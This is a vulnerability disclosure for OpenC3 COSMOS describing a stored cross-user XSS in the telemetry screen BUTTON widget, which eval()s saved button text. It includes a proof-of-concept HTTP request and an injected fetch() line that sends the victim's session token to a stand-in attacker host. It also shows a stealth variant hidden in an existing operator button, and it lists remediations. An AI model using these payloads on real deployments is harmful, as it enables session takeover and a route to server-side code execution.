OpenC3 COSMOS: Stored, cross-user XSS via Telemetry screen BUTTON widget

A user who can save a telemetry screen (permission system_set) can embed JavaScript in a screen BUTTON widget. The BUTTON widget eval()s the stored button text in the browser when the button is activated, and screens are shared content rendered to other users in the scope. As a result, an attacker's stored JavaScript executes in a different operator's authenticated session — a stored, cross-user XSS (not self-XSS). The payload runs in the COSMOS origin and can read localStorage.openc3Token (the victim's session token), enabling session/account takeover and, via the victim's privileges, a path to server-side code execution through the Script Runner.

The site's Content-Security-Policy permits 'unsafe-inline'/'unsafe-eval' (see "Contributing factor"), so the injected script runs unimpeded.

• Product: OpenC3 COSMOS (Core; likely Enterprise — see scoping note)
• Affected version: confirmed 7.2.0 (latest, tested 2026-06-25); the code path is present on main. Lower bound for maintainer to confirm.
• Reporter: Arpit Kubadia

1. Screen save (the store): POST /openc3-api/screen → ScreensController#create (openc3-cosmos-cmd-tlm-api/app/controllers/screens_controller.rb:35-43) persists the raw screen text after authorization('system_set'). No sanitization of the screen body.
2. The sink (the execution): the BUTTON widget stores the button's action as its second parameter and eval()s it on click — openc3-cosmos-init/plugins/packages/openc3-vue-common/src/widgets/ButtonWidget.vue:109:
   text복사

    1const lines = this.eval.split(';;')   // this.eval == parameters[1] from the stored screen
    2...
    3const result = eval(lines[i].trim())  // attacker-controlled string -> arbitrary JS in the victim's session

3. Cross-user delivery: screens are stored per-scope and rendered to any user who opens them (e.g. in Telemetry Viewer). So a screen saved by user A executes in user B's browser.
4. Contributing factor (CSP): openc3-traefik/traefik.yaml:63 sets script-src 'unsafe-inline' 'unsafe-eval' https: blob: ... on every SPA response, so the injected/eval'd script is not blocked. (Reportable as a hardening item in its own right.)

A. Minimal PoC — a button that steals the viewer's token (verified)

Authenticated as any user (Core) / a system_set user (Enterprise), store a screen:

 1POST /openc3-api/screen HTTP/1.1
 2Host: localhost:2900
 3Content-Type: application/json
 4Authorization: ses_<YOUR_TOKEN>
 5Content-Length: 224
 6 
 7{"scope":"DEFAULT","target":"INST","screen":"XSSPOC","text":"SCREEN AUTO AUTO 1.0\nLABEL \"Instrument Status\"\nBUTTON 'Refresh' 'fetch(\"https://ATTACKER-COLLABORATOR/?t=\"+encodeURIComponent(localStorage.openc3Token))'\n"}

→ HTTP 200, body true. Trigger (as the victim): open http://<host>:2900/tools/tlmviewer → Target INST, Screen XSSPOC → click Refresh. The victim's session token is exfiltrated to ATTACKER-COLLABORATOR. (Verified: an out-of-band request carrying a live ses_… token was received at the attacker host.)

A purely visual variant: replace the action with alert(localStorage.openc3Token).

B. Realistic exploitation — hijack an EXISTING operational screen (no lure)

The minimal PoC needs the victim to open the attacker's screen. The realistic attack overwrites a screen operators already use, hiding the payload behind a button they already click:

• The BUTTON action is eval'd after this.eval.split(';;'), so appending ;; <payload> to an existing button keeps the original command working and adds the attacker's code. The operator sees no change.
• Example: take the stock INST COMMANDING screen's Start Collect button (which sends api.cmd('INST COLLECT ...')) and append:
  text복사

   1... +
   2" ;; fetch('https://ATTACKER-COLLABORATOR/?t='+encodeURIComponent(localStorage.openc3Token))"

  Re-save the screen (POST /openc3-api/screen, same route). Now every operator who opens COMMANDING and clicks Start Collect during normal operations sends the real command and leaks their session token. No new button, no behavioral change, no social-engineering lure.

The injected script runs with the victim's session in the COSMOS origin. It can:

• Exfiltrate the victim's session token (localStorage.openc3Token) → session/account takeover (the token is a bearer credential accepted in the Authorization header).
• Act as the victim against the API, and — for a victim with script privileges — pivot to the Script Runner to achieve server-side code execution (the documented escalation chain).
  This is cross-user / persistent: an attacker who can edit shared screens compromises the sessions of other operators viewing those screens, which is materially worse than self-XSS.

1. Do not eval() screen-supplied strings. Replace the BUTTON widget's eval with a constrained, non-eval command interface (an allow-listed API surface / safe expression evaluator), or sandbox it.
2. Tighten the CSP (openc3-traefik/traefik.yaml): remove 'unsafe-inline'/'unsafe-eval', move to per-request nonce + 'strict-dynamic', add object-src 'none', base-uri 'self', frame-ancestors 'self'. This alone neutralizes injected inline/eval'd script.
3. Treat screens as untrusted, cross-user content — escape/validate on render; consider gating screen-embedded JavaScript behind a dedicated, clearly-privileged capability rather than the general system_set.